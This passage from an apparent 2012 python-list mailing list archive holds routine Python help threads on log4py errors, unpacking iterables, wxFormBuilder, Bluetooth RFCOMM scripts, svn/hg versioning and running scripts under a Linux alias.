"D:\Python27\Lib\site-packages\pythonwin\pywin\debugger\__init__.py", line 60, in run _GetCurrentDebugger().run(cmd, globals,locals, start_stepping) File "D:\Python27\Lib\site-packages\pythonwin\pywin\debugger\debugger.py", line 655, in run exec cmd in globals, locals File "D:\Program Files\WinCaps\Scripts\TaskToCrane_logging.py", line 91, in programSettings.Log(TempLogger) File "D:\Program Files\WinCaps\Scripts\TaskToCrane_logging.py", line 66, in Log logger.info("Log file: " + str(self.logFile)) File "log4py.py", line 359, in info self.__Logger_showmessage(message, MSG_INFO) File "log4py.py", line 534, in __Logger_showmessage target.write("%s\n" % line) AttributeError: 'unicode' object h -------------- next part -------------- An HTML attachment was scrubbed... URL: From python at mrabarnett.plus.com Thu Dec 13 14:35:03 2012 From: python at mrabarnett.plus.com (MRAB) Date: Thu, 13 Dec 2012 19:35:03 +0000 Subject: log4py confusion In-Reply-To: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> References: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> Message-ID: <50CA2DE7.2050706@mrabarnett.plus.com> On 2012-12-13 18:58, Rob Richardson wrote: > Greetings! > > I have finally gotten fed up with all of the Python scripts used in my > company that have every parameter hard-coded. I am rewriting one of > them to read all of its parameters from an XML file. Then, we can > change the XML file to control which database it is using, whether its > running in debug mode or not, and various other things. One of the > parameters I want the XML file to contain is the name of the script's > log file. > > I have a class named Settings that will contain all the parameters read > from the XML file. But if something goes wrong, I want to log it. So, > I want to have a Logger object for it to use. I use a hard-coded file > name for that. Then, after reading the XML file, I want to create a > second Logger object that will be used by the rest of the script. > > When I try to use the second Logger object, I get an exception > complaining that 'unicode' object has no attribute 'write'. > > The script and the exception messages are below. Can anyone see what > I'm doing wrong? > [snip] I think the problem might be that it's expecting a file object, not a file name/path as you have here: TempLogger.set_target("TaskToCrane_logging_base.log") From fetchinson at googlemail.com Thu Dec 13 14:37:06 2012 From: fetchinson at googlemail.com (Daniel Fetchinson) Date: Thu, 13 Dec 2012 20:37:06 +0100 Subject: unpacking first few items of iterable Message-ID: Hi folks, I swear I used to know this but can't find it anywhere: What's the standard idiom for unpacking the first few items of an iterable whose total length is unknown? Something like a, b, c, _ = myiterable where _ could eat up a variable number of items, in case I'm only interested in the first 3 items? Cheers, Daniel -- Psss, psss, put it down! - http://www.cafepress.com/putitdown From demianbrecht at gmail.com Thu Dec 13 14:39:17 2012 From: demianbrecht at gmail.com (Demian Brecht) Date: Thu, 13 Dec 2012 11:39:17 -0800 Subject: unpacking first few items of iterable In-Reply-To: Message-ID: If you're using python3, you can simply do: a, b, c, *rest = myiterable Demian Brecht http://demianbrecht.github.com On 2012-12-13 11:37 AM, "Daniel Fetchinson" wrote: >Hi folks, I swear I used to know this but can't find it anywhere: > >What's the standard idiom for unpacking the first few items of an >iterable whose total length is unknown? > >Something like > >a, b, c, _ = myiterable > >where _ could eat up a variable number of items, in case I'm only >interested in the first 3 items? > >Cheers, >Daniel > > >-- >Psss, psss, put it down! - http://www.cafepress.com/putitdown >-- >http://mail.python.org/mailman/listinfo/python-list From nomail at not.valid Thu Dec 13 14:47:14 2012 From: nomail at not.valid (Lurken III) Date: Thu, 13 Dec 2012 20:47:14 +0100 Subject: wxFormBuilder and wxBitmapCombobox Message-ID: <50ca30bf$0$17955$4fafbaef@reader1.news.tin.it> I'm stucked in populate a wxBitmapCombobox with wxFormBuilder win7 wxFB 3.3.4-beta unicode in Project settings, path = . <- (dot) I have an "ico_conto1.bmp" tree of the dialog: - Dialog --- wxBoxSizer ------wxGridSizer ---------- 4 wxStaticText + 3 wxTextCtrl + ---------- wxBitmapComboBox --- wxStaticLine --- wxStdDialogButtonSizer in wxBitmapComboBox setup, in "choices" I'm not able to load the bitmap At the bottom, tip for such widget is "use format bitmap:choice", tested: ico_conto1.bmp:bitmap1 bitmap:ico_conto1.bmp bitmap:ico_conto1 but I get only and always a popup "Can't load image from file 'ico_conto1.bmp": file does not exist." Any help welcome, thanks. -- Lurken III From RDRichardson at rad-con.com Thu Dec 13 14:51:46 2012 From: RDRichardson at rad-con.com (Rob Richardson) Date: Thu, 13 Dec 2012 19:51:46 +0000 Subject: log4py confusion In-Reply-To: <50CA2DE7.2050706@mrabarnett.plus.com> References: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> <50CA2DE7.2050706@mrabarnett.plus.com> Message-ID: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2DD8@RADCONWIN2K8PDC.radcon.local> Thanks for the suggestion, but I don't think that can be it. At least, it's not it on the line you specified. That form, with the target name given as a hard-coded string, is in use in every Python script our company uses. So, set_target() is expecting a file instead of a file name, there must be some implicit conversion going on that creates a file object of the given name before setting the log target to the file. On the other hand, it would certainly explain the " 'Unicode' object does not have attribute 'write' " message. A file object would be expected to have an attribute named 'write', while a string object wouldn't. The error happens after the target is changed to a file name contained in a variable. Why doesn't that implicit conversion work with a string contained in a variable? Do I have to do an explicit cast of some kind? Or, probably better, I should probably look up how to create a file object so I can pass it in to the set_target() function. That's one reason I asked for documentation on log4py: so I could see what methods are available, and what arguments they actually expect. Thanks again! RobR -----Original Message----- From: Python-list [mailto:python-list-bounces+rob.richardson=rad-con.com at python.org] On Behalf Of MRAB Sent: Thursday, December 13, 2012 2:35 PM To: python-list at python.org Subject: Re: log4py confusion On 2012-12-13 18:58, Rob Richardson wrote: > Greetings! > > I have finally gotten fed up with all of the Python scripts used in my > company that have every parameter hard-coded. I am rewriting one of > them to read all of its parameters from an XML file. Then, we can > change the XML file to control which database it is using, whether its > running in debug mode or not, and various other things. One of the > parameters I want the XML file to contain is the name of the script's > log file. > > I have a class named Settings that will contain all the parameters > read from the XML file. But if something goes wrong, I want to log > it. So, I want to have a Logger object for it to use. I use a > hard-coded file name for that. Then, after reading the XML file, I > want to create a second Logger object that will be used by the rest of the script. > > When I try to use the second Logger object, I get an exception > complaining that 'unicode' object has no attribute 'write'. > > The script and the exception messages are below. Can anyone see what > I'm doing wrong? > [snip] I think the problem might be that it's expecting a file object, not a file name/path as you have here: TempLogger.set_target("TaskToCrane_logging_base.log") -- http://mail.python.org/mailman/listinfo/python-list From barryd.it at gmail.com Thu Dec 13 15:04:39 2012 From: barryd.it at gmail.com (Barry Dick) Date: Thu, 13 Dec 2012 12:04:39 -0800 (PST) Subject: python\bluetooth / wsgi / apache 2.2 Message-ID: <46c569c0-6ce7-4144-a1f0-1ef2b9f49c1c@googlegroups.com> I'm wanting to read from my bluetooth device (it just sends data/header with a checksum at the end, in a continuous mode "a biofeedback device") and I'm getting a weird error in my logs not allowing me to use multiple sockets. I guess with wsgi, I'm creating a link/module between the two apis (apache / python), and then lets apache manage the socket / port communication on the application layer. How ever, I'm not able to connect to my device. Is there something simple I'm missing? The test code is the following #!/usr/bin/python # Written by Yevgeniy Medynskiy (eugenem at gatech.edu) # Date modified: December 2006 # # No copyright. No warranty. Distributed as-is. # # http://www.gvu.gatech.edu/ccg/resources/wearableRFID.html import time import bluetooth import sys class MyWriter: def __init__(self, stdout, filename): #self.stdout = stdout self.logfile = file(filename, 'a') def write(self, text): #self.stdout.write(text) self.logfile.write(text) def close(self): #self.stdout.close() self.logfile.close() writer = MyWriter(sys.stdout, 'logging.txt') sys.stdout = writer # ## Change to your device's Bluetooth address # device = "10:00:E8:AC:4D:D0" port = 1 # ## Read command and request for acknowledgement. # socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM) #print "Attempting to connect to " + device + ":" + str(port) + "...", socket.connect((device, port)) #print "done." #print "Receiving data..." data = "" try: while True: try: data = socket.recv(255) except bluetooth.BluetoothError, b: print "Bluetooth Error: ", b if len(data) > 0: print data except KeyboardInterrupt: #print "Closing socket...", socket.close() #print "done." [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] mod_wsgi (pid=2780): Target WSGI script 'C:/Project/index.py' cannot be loaded as Python module. [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] mod_wsgi (pid=2780): Exception occurred processing WSGI script 'C:/Project/index.py'. [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] Traceback (most recent call last): [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] File "C:/Project/index.py", line 45, in [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] socket.connect((device, port)) [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] File "C:\\Python26\\lib\\site-packages\\bluetooth\\msbt.py", line 53, in connect [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] bt.connect (self._sockfd, addr, port) [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] IOError: Only one usage of each socket address (protocol/network address/port) is normally permitted.\r [Wed Dec 12 17:00:31 2012] [error] [client 127.0.0.1] I realize that in order for me to feed information back to apache and then onto my client, is I need to def application().... but I wanted to make sure it was just that, and not something that I don't know about using sockets. From RDRichardson at rad-con.com Thu Dec 13 15:05:49 2012 From: RDRichardson at rad-con.com (Rob Richardson) Date: Thu, 13 Dec 2012 20:05:49 +0000 Subject: log4py confusion In-Reply-To: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2DD8@RADCONWIN2K8PDC.radcon.local> References: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> <50CA2DE7.2050706@mrabarnett.plus.com> <67D108EDFAD3C148A593E6ED7DCB4BBD948B2DD8@RADCONWIN2K8PDC.radcon.local> Message-ID: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2DF7@RADCONWIN2K8PDC.radcon.local> I think I have the answer. All I need to do is use the str() function to convert the object stored in logFile from a Unicode string to a normal string: Logger.set_target(str(programSettings.logFile)) RobR -----Original Message----- From: Python-list [mailto:python-list-bounces+rob.richardson=rad-con.com at python.org] On Behalf Of Rob Richardson Sent: Thursday, December 13, 2012 2:52 PM To: python-list at python.org Subject: RE: log4py confusion Thanks for the suggestion, but I don't think that can be it. At least, it's not it on the line you specified. That form, with the target name given as a hard-coded string, is in use in every Python script our company uses. So, set_target() is expecting a file instead of a file name, there must be some implicit conversion going on that creates a file object of the given name before setting the log target to the file. On the other hand, it would certainly explain the " 'Unicode' object does not have attribute 'write' " message. A file object would be expected to have an attribute named 'write', while a string object wouldn't. The error happens after the target is changed to a file name contained in a variable. Why doesn't that implicit conversion work with a string contained in a variable? Do I have to do an explicit cast of some kind? Or, probably better, I should probably look up how to create a file object so I can pass it in to the set_target() function. That's one reason I asked for documentation on log4py: so I could see what methods are available, and what arguments they actually expect. Thanks again! RobR -----Original Message----- From: Python-list [mailto:python-list-bounces+rob.richardson=rad-con.com at python.org] On Behalf Of MRAB Sent: Thursday, December 13, 2012 2:35 PM To: python-list at python.org Subject: Re: log4py confusion On 2012-12-13 18:58, Rob Richardson wrote: > Greetings! > > I have finally gotten fed up with all of the Python scripts used in my > company that have every parameter hard-coded. I am rewriting one of > them to read all of its parameters from an XML file. Then, we can > change the XML file to control which database it is using, whether its > running in debug mode or not, and various other things. One of the > parameters I want the XML file to contain is the name of the script's > log file. > > I have a class named Settings that will contain all the parameters > read from the XML file. But if something goes wrong, I want to log > it. So, I want to have a Logger object for it to use. I use a > hard-coded file name for that. Then, after reading the XML file, I > want to create a second Logger object that will be used by the rest of the script. > > When I try to use the second Logger object, I get an exception > complaining that 'unicode' object has no attribute 'write'. > > The script and the exception messages are below. Can anyone see what > I'm doing wrong? > [snip] I think the problem might be that it's expecting a file object, not a file name/path as you have here: TempLogger.set_target("TaskToCrane_logging_base.log") -- http://mail.python.org/mailman/listinfo/python-list -- http://mail.python.org/mailman/listinfo/python-list From python at mrabarnett.plus.com Thu Dec 13 15:09:30 2012 From: python at mrabarnett.plus.com (MRAB) Date: Thu, 13 Dec 2012 20:09:30 +0000 Subject: unpacking first few items of iterable In-Reply-To: References: Message-ID: <50CA35FA.6040005@mrabarnett.plus.com> On 2012-12-13 19:37, Daniel Fetchinson wrote: > Hi folks, I swear I used to know this but can't find it anywhere: > > What's the standard idiom for unpacking the first few items of an > iterable whose total length is unknown? > > Something like > > a, b, c, _ = myiterable > > where _ could eat up a variable number of items, in case I'm only > interested in the first 3 items? > You could do this: from itertools import islice a, b, c = islice(myiterable, 3) From fetchinson at googlemail.com Thu Dec 13 15:09:45 2012 From: fetchinson at googlemail.com (Daniel Fetchinson) Date: Thu, 13 Dec 2012 21:09:45 +0100 Subject: unpacking first few items of iterable In-Reply-To: References: Message-ID: >>Hi folks, I swear I used to know this but can't find it anywhere: >> >>What's the standard idiom for unpacking the first few items of an >>iterable whose total length is unknown? >> >>Something like >> >>a, b, c, _ = myiterable >> >>where _ could eat up a variable number of items, in case I'm only >>interested in the first 3 items? > > If you're using python3, you can simply do: > > a, b, c, *rest = myiterable Thanks, sounds great, how about python2? -- Psss, psss, put it down! - http://www.cafepress.com/putitdown From msirenef at lightbird.net Thu Dec 13 15:28:43 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Thu, 13 Dec 2012 15:28:43 -0500 Subject: unpacking first few items of iterable In-Reply-To: References: Message-ID: <50CA3A7B.6020105@lightbird.net> On 12/13/2012 03:09 PM, Daniel Fetchinson wrote: >>> Hi folks, I swear I used to know this but can't find it anywhere: >>> >>> What's the standard idiom for unpacking the first few items of an >>> iterable whose total length is unknown? >>> >>> Something like >>> >>> a, b, c, _ = myiterable >>> >>> where _ could eat up a variable number of items, in case I'm only >>> interested in the first 3 items? >> If you're using python3, you can simply do: >> >> a, b, c, *rest = myiterable > Thanks, sounds great, how about python2? > If you know the sequence has at least n items, you can do a, b, c = seq[:3] -m -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From fetchinson at googlemail.com Thu Dec 13 15:39:40 2012 From: fetchinson at googlemail.com (Daniel Fetchinson) Date: Thu, 13 Dec 2012 21:39:40 +0100 Subject: unpacking first few items of iterable In-Reply-To: <50CA3A7B.6020105@lightbird.net> References: <50CA3A7B.6020105@lightbird.net> Message-ID: >>>> Hi folks, I swear I used to know this but can't find it anywhere: >>>> >>>> What's the standard idiom for unpacking the first few items of an >>>> iterable whose total length is unknown? >>>> >>>> Something like >>>> >>>> a, b, c, _ = myiterable >>>> >>>> where _ could eat up a variable number of items, in case I'm only >>>> interested in the first 3 items? >>> If you're using python3, you can simply do: >>> >>> a, b, c, *rest = myiterable >> Thanks, sounds great, how about python2? >> > > If you know the sequence has at least n items, you > can do a, b, c = seq[:3] Yeah, that's probably the simplest, without all the fancy stuff :) Cheers, Daniel -- Psss, psss, put it down! - http://www.cafepress.com/putitdown From msirenef at lightbird.net Thu Dec 13 15:49:24 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Thu, 13 Dec 2012 15:49:24 -0500 Subject: unpacking first few items of iterable In-Reply-To: References: <50CA3A7B.6020105@lightbird.net> Message-ID: <50CA3F54.9090307@lightbird.net> On 12/13/2012 03:39 PM, Daniel Fetchinson wrote: >>>>> Hi folks, I swear I used to know this but can't find it anywhere: >>>>> >>>>> What's the standard idiom for unpacking the first few items of an >>>>> iterable whose total length is unknown? >>>>> >>>>> Something like >>>>> >>>>> a, b, c, _ = myiterable >>>>> >>>>> where _ could eat up a variable number of items, in case I'm only >>>>> interested in the first 3 items? >>>> If you're using python3, you can simply do: >>>> >>>> a, b, c, *rest = myiterable >>> Thanks, sounds great, how about python2? >>> >> If you know the sequence has at least n items, you >> can do a, b, c = seq[:3] > Yeah, that's probably the simplest, without all the fancy stuff :) > > Cheers, > Daniel > > > Well, fancy stuff is good too, I'm a great fan of fancy stuff :) -m -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From ian.g.kelly at gmail.com Thu Dec 13 15:50:08 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Thu, 13 Dec 2012 13:50:08 -0700 Subject: unpacking first few items of iterable In-Reply-To: References: <50CA3A7B.6020105@lightbird.net> Message-ID: On Thu, Dec 13, 2012 at 1:39 PM, Daniel Fetchinson wrote: >> If you know the sequence has at least n items, you >> can do a, b, c = seq[:3] > > Yeah, that's probably the simplest, without all the fancy stuff :) That only works for sequences, though. Not all iterables are sequences. The islice version proposed by MRAB is more generally applicable. From tjreedy at udel.edu Thu Dec 13 15:50:35 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 13 Dec 2012 15:50:35 -0500 Subject: Help with unittest2 In-Reply-To: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: On 12/13/2012 10:03 AM, Daniel Laird wrote: > All, > > I am new to python and am stuck with python 2.6 (Ubuntu 10.04 and > dont want to force switch to 2.7) You can altinstall 2.7 and leave the system 2.6 alone. -- Terry Jan Reedy From mickyhulse.lists at gmail.com Thu Dec 13 15:51:10 2012 From: mickyhulse.lists at gmail.com (Micky Hulse) Date: Thu, 13 Dec 2012 12:51:10 -0800 Subject: OOP noob question: Mixin properties In-Reply-To: References: Message-ID: On Wed, Dec 12, 2012 at 7:49 PM, Micky Hulse wrote: > I hope you don't mind that this question involves Django... I'm just > looking to improve my core Python skills (so, generic Python examples > would be cool). Just experimenting: I think that will help me achieve my desired end result. I'm open to feedback. Cheers! M From rosuav at gmail.com Thu Dec 13 16:00:33 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 14 Dec 2012 08:00:33 +1100 Subject: Python parser problem In-Reply-To: <50CA28AA.4040006@gmail.com> References: <50C8D6B3.40207@gmail.com> <50C8E209.6080803@davea.name> <50CA28AA.4040006@gmail.com> Message-ID: On Fri, Dec 14, 2012 at 6:12 AM, RCU wrote: > Dave, > Thanks for the reply. > The script was originally edited on Windows with proper \r\n endings, It's worth noting that many Windows-based editors and interpreters are quite happy with \n line endings. You may be able to save yourself some trouble by switching everything to Unix newlines. ChrisA From tjreedy at udel.edu Thu Dec 13 16:36:58 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 13 Dec 2012 16:36:58 -0500 Subject: unpacking first few items of iterable In-Reply-To: <50CA35FA.6040005@mrabarnett.plus.com> References: <50CA35FA.6040005@mrabarnett.plus.com> Message-ID: On 12/13/2012 3:09 PM, MRAB wrote: > On 2012-12-13 19:37, Daniel Fetchinson wrote: >> Hi folks, I swear I used to know this but can't find it anywhere: >> >> What's the standard idiom for unpacking the first few items of an >> iterable whose total length is unknown? An hinted by some of the answers, this is not a complete specification. >> Something like >> >> a, b, c, _ = myiterable >> >> where _ could eat up a variable number of items, in case I'm only >> interested in the first 3 items? The literal answer given by demian, a,b,c,*_=iterable, has some good uses but fails on an infinite iterable, and otherwise exhausts iterators and creates a potentially long sequence that, by the specification, is not needed. Mitya's alternative of slicing, seq[:3] requires a directly sliceable sequence rather than just an iterable. > You could do this: > > from itertools import islice > a, b, c = islice(myiterable, 3) This works for any iterable and the only discarded temporary is a sequence of three items (needed so either all bindings work or none are made). If you want to bind a default values if iterable has less than 3 values, one way is >>> a,b,c = itertools.islice(itertools.chain(itertools.islice((1,2), 3), [None]*3), 3) >>> a,b,c (1, 2, None) Perhaps clearer is >>> a,b,c = [None]*3 >>> it = iter((1,2)) >>> try: a = next(it) b = next(it) c = next(it) except StopIteration: pass >>> a,b,c (1, 2, None) This has the advantage that if iterable has more than 3 items, 'it' is available to iterate over the rest. This is the standard idiom for removing a couple of special items before iterating over the remainder (when one does not want the remainder as a concrete list). -- Terry Jan Reedy From aung.thetnaing at gmail.com Thu Dec 13 16:39:33 2012 From: aung.thetnaing at gmail.com (Aung Thet Naing) Date: Thu, 13 Dec 2012 13:39:33 -0800 (PST) Subject: Stack_overflow error In-Reply-To: References: <1fd7672d-000b-4cbc-bd87-a9f37320c9e8@googlegroups.com> Message-ID: I'm sorry that I have been away from this issue for a while. Yes, I'm working on windows. I need to review the error again so that I could rephrase my issue clearly. Thanks. Aung. On Tuesday, November 20, 2012 10:40:42 AM UTC-8, Dieter Maurer wrote: > Aung Thet Naing writes: > > > > > I'm having Stack_overflow exception in _ctypes_callproc (callproc.c). The error actually come from the: > > > > > > cleanup: > > > for (i = 0; i < argcount; ++i) > > > Py_XDECREF(args[i].keep); > > > > > > when args[i].keep->ob_refCnt == 1 > > > > Really a stack overflow or a general segmentation violation? > > Under *nix, both are not easy to distinguish -- but maybe, you are > > working with Windows? From aung.thetnaing at gmail.com Thu Dec 13 16:39:33 2012 From: aung.thetnaing at gmail.com (Aung Thet Naing) Date: Thu, 13 Dec 2012 13:39:33 -0800 (PST) Subject: Stack_overflow error In-Reply-To: References: <1fd7672d-000b-4cbc-bd87-a9f37320c9e8@googlegroups.com> Message-ID: I'm sorry that I have been away from this issue for a while. Yes, I'm working on windows. I need to review the error again so that I could rephrase my issue clearly. Thanks. Aung. On Tuesday, November 20, 2012 10:40:42 AM UTC-8, Dieter Maurer wrote: > Aung Thet Naing writes: > > > > > I'm having Stack_overflow exception in _ctypes_callproc (callproc.c). The error actually come from the: > > > > > > cleanup: > > > for (i = 0; i < argcount; ++i) > > > Py_XDECREF(args[i].keep); > > > > > > when args[i].keep->ob_refCnt == 1 > > > > Really a stack overflow or a general segmentation violation? > > Under *nix, both are not easy to distinguish -- but maybe, you are > > working with Windows? From aung.thetnaing at gmail.com Thu Dec 13 16:41:43 2012 From: aung.thetnaing at gmail.com (Aung Thet Naing) Date: Thu, 13 Dec 2012 13:41:43 -0800 (PST) Subject: Python version and svn Message-ID: I'm wondering how I can match the svn versions in bug.python.org to Python version (2.7.3) etc? When I downloaded Python source from http://www.python.org/download/, I cannot really see the svn version. Thanks Aung. From aung.thetnaing at gmail.com Thu Dec 13 16:41:43 2012 From: aung.thetnaing at gmail.com (Aung Thet Naing) Date: Thu, 13 Dec 2012 13:41:43 -0800 (PST) Subject: Python version and svn Message-ID: I'm wondering how I can match the svn versions in bug.python.org to Python version (2.7.3) etc? When I downloaded Python source from http://www.python.org/download/, I cannot really see the svn version. Thanks Aung. From tjreedy at udel.edu Thu Dec 13 17:06:26 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 13 Dec 2012 17:06:26 -0500 Subject: Python version and svn In-Reply-To: References: Message-ID: On 12/13/2012 4:41 PM, Aung Thet Naing wrote: > I'm wondering how I can match the svn versions in bug.python.org to > Python version (2.7.3) etc? When I downloaded Python source from > http://www.python.org/download/, I cannot really see the svn > version. I do not know what you mean by svn version. In any case, Python development was moved from svn to hg in March, 2011, before all current releases, so I am sure they do not have such. -- Terry Jan Reedy From __peter__ at web.de Thu Dec 13 17:22:20 2012 From: __peter__ at web.de (Peter Otten) Date: Thu, 13 Dec 2012 23:22:20 +0100 Subject: unpacking first few items of iterable References: <50CA35FA.6040005@mrabarnett.plus.com> Message-ID: Terry Reedy wrote: > On 12/13/2012 3:09 PM, MRAB wrote: >> On 2012-12-13 19:37, Daniel Fetchinson wrote: >>> Hi folks, I swear I used to know this but can't find it anywhere: >>> >>> What's the standard idiom for unpacking the first few items of an >>> iterable whose total length is unknown? > > An hinted by some of the answers, this is not a complete specification. > >>> Something like >>> >>> a, b, c, _ = myiterable >>> >>> where _ could eat up a variable number of items, in case I'm only >>> interested in the first 3 items? > > The literal answer given by demian, a,b,c,*_=iterable, has some good > uses but fails on an infinite iterable, and otherwise exhausts iterators > and creates a potentially long sequence that, by the specification, is > not needed. Mitya's alternative of slicing, seq[:3] requires a directly > sliceable sequence rather than just an iterable. > >> You could do this: >> >> from itertools import islice >> a, b, c = islice(myiterable, 3) > > This works for any iterable and the only discarded temporary is a > sequence of three items (needed so either all bindings work or none are > made). > > If you want to bind a default values if iterable has less than 3 values, > one way is > > >>> a,b,c = itertools.islice(itertools.chain(itertools.islice((1,2), > 3), [None]*3), 3) > >>> a,b,c > (1, 2, None) If something doesn't look natural I usually shuffle around my code a bit. In this case I might end up with a helper function: def work_with_abc(a=None, b=None, c=None, *discarded): ... work_with_abc(*myiterable) > Perhaps clearer is > > >>> a,b,c = [None]*3 > >>> it = iter((1,2)) > >>> try: > a = next(it) > b = next(it) > c = next(it) > except StopIteration: > pass > > >>> a,b,c > (1, 2, None) Or it = iter(myiterable) a = next(it, None) b = next(it, None) c = next(it, None) > This has the advantage that if iterable has more than 3 items, 'it' is > available to iterate over the rest. This is the standard idiom for > removing a couple of special items before iterating over the remainder > (when one does not want the remainder as a concrete list). From steve+comp.lang.python at pearwood.info Thu Dec 13 18:01:14 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 23:01:14 GMT Subject: testing Message-ID: <50ca5e39$0$29980$c3e8da3$5496439d@news.astraweb.com> Testing testing 1 2 3 4. I've sent at two posts that appear to have been eaten by the Great Usenet Monster. Will this fare any better? Time to find out. -- Steven From nad at acm.org Thu Dec 13 18:46:12 2012 From: nad at acm.org (Ned Deily) Date: Thu, 13 Dec 2012 15:46:12 -0800 Subject: Python version and svn References: Message-ID: In article , Terry Reedy wrote: > On 12/13/2012 4:41 PM, Aung Thet Naing wrote: > > I'm wondering how I can match the svn versions in bug.python.org to > > Python version (2.7.3) etc? When I downloaded Python source from > > http://www.python.org/download/, I cannot really see the svn > > version. > I do not know what you mean by svn version. In any case, Python > development was moved from svn to hg in March, 2011, before all current > releases, so I am sure they do not have such. In particular, the python.org source downloads (tar, bz2, etc) are just extracted source files of a particular snapshot in time with no version information. You can browse the hg repository on the web. To browse by tags that correspond to releases: http://hg.python.org/cpython/tags To browse the current top of each of the development branches: http://hg.python.org/cpython/branches Clicking on a change set id in a particular message in a bugs.python.org message should open a web page with the details of that change set. Or you can use hg (http://mercurial.selenic.com) to download your own copy of the source repository which will contain the complete source history of all branches: hg clone http://hg.python.org/cpython More details here: http://docs.python.org/devguide/ -- Ned Deily, nad at acm.org From andrew3 at r3dsolutions.com Thu Dec 13 18:57:30 2012 From: andrew3 at r3dsolutions.com (Andrew Robinson) Date: Thu, 13 Dec 2012 15:57:30 -0800 Subject: Running a python script under Linux In-Reply-To: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50CA6B6A.4030009@r3dsolutions.com> On 12/13/2012 06:45 PM, Steven D'Aprano wrote: > I understand this is not exactly a Python question, but it may be of > interest to other Python programmers, so I'm asking it here instead of a > more generic Linux group. > > I have a Centos system which uses Python 2.4 as the system Python, so I > set an alias for my personal use: > > [steve at ando ~]$ which python > alias python='python2.7' > /usr/local/bin/python2.7 > > > When I call "python some_script.py" from the command line, it runs under > Python 2.7 as I expected. So I give the script a hash-bang line: > > #!/usr/bin/env python > > and run the script directly, but instead of getting Python 2.7, it runs > under Python 2.4 and gives me system errors. > > When I run env directly, it ignores my alias: > > steve at ando ~]$ /usr/bin/env python -V > Python 2.4.3 > > > What am I doing wrong? > After seeing the lecture on Bad Ideas ... this might backfire on me.... :) But ... if you really want to make the alias show up in all bash shells, you can put it in your ~/.bashrc file which is executed every time a shell is created. alias python='python2.7' However, alias expansions do not work in non-interactive shells -- so I don't think it will launch with the #!/bin/env technique. OTOH -- Shell functions DO operate in non-interactive mode, so you could add something like: function python() { python3 # whichever version of python you want as default } # eof of function example to add to ~/.bashrc OR............ In a bash shell, you can also do: function python { python3 # or 2.7 ... } export -f python And that would give the same effect as an alias, but funtions can be exported to child processes. It's your system, and we're adults here -- screw it up however you want to. Cheers! -- --Jesus Christ is Lord. From barryd.it at gmail.com Thu Dec 13 19:00:41 2012 From: barryd.it at gmail.com (Barry Dick) Date: Thu, 13 Dec 2012 16:00:41 -0800 (PST) Subject: Python parsing Bluetooth RFCOMM for 9 bytes Message-ID: <407a1c37-8b64-480d-b84a-d3215df81ad6@googlegroups.com> My data looks like this when it comes from the device (biofeedback device). There are 9 bytes in total, and I need to buffer so much, and then poll it for new/recent packets. The start packet unfortunately starts with 0x00 So far the only thing I've found that looks like what I want to do is this, but I don't know how to implement it. http://code.activestate.com/recipes/408859/ Data: [0000002d0270025e00] Data: [0001004a0006026547] Data: [0002004b000a026343] Data: [00] Data: [03004f0006025b4a00] Data: [046698000802569d00] Data: [00003002830257f100] Data: [01004a000602585400] Data: [020048000a025b4e00] Data: [03004b0006025b4e00] Data: [046698000702579d00] Data: [00002f027602480e00] Data: [01004a0006024b61] Data: [0002004a000a025552] Data: [0003004b0006025752] Data: [00046698000702569e] Data: [0000002c025b025321] Data: [00010048000602505e] My code so far looks like this... import bluetooth, sys, time, os, binascii, struct; # Create the client socket client_socket=BluetoothSocket( RFCOMM ) client_socket.connect(("10:00:E8:AC:4D:D0", 1)) data = "" try: while True: try: data = client_socket.recv(9) except bluetooth.BluetoothError, b: print "Bluetooth Error: ", b if len(data) > 0: print "Data: [%s]" % binascii.hexlify(data) except KeyboardInterrupt: #print "Closing socket...", client_socket.close() #print "done." From steve+comp.lang.python at pearwood.info Thu Dec 13 19:06:23 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 14 Dec 2012 00:06:23 GMT Subject: Where to contribute Unicode General Category encoding/decoding References: Message-ID: <50ca6d7f$0$29980$c3e8da3$5496439d@news.astraweb.com> On Thu, 13 Dec 2012 07:30:57 -0800, Pander Musubi wrote: > I was expecting PyPI. Here is the code, please advise on where to submit > it: > http://pastebin.com/dbzeasyq If anywhere, either a third-party module, or the unicodedata standard library module. Some unanswered questions: - when would somebody need this function? - why is is called "decodeUnicodeGeneralCategory" when it doesn't seem to have anything to do with decoding? - why is the parameter "sortable" called sortable, when it doesn't seem to have anything to do with sorting? If this is useful at all, it would be more useful to just expose the data as a dict, and forget about an unnecessary wrapper function: from collections import namedtuple r = namedtuple("record", "other name desc") # better field names needed! GC = { 'C' : r('Other', 'Other', 'Cc | Cf | Cn | Co | Cs'), 'Cc': r('Control', 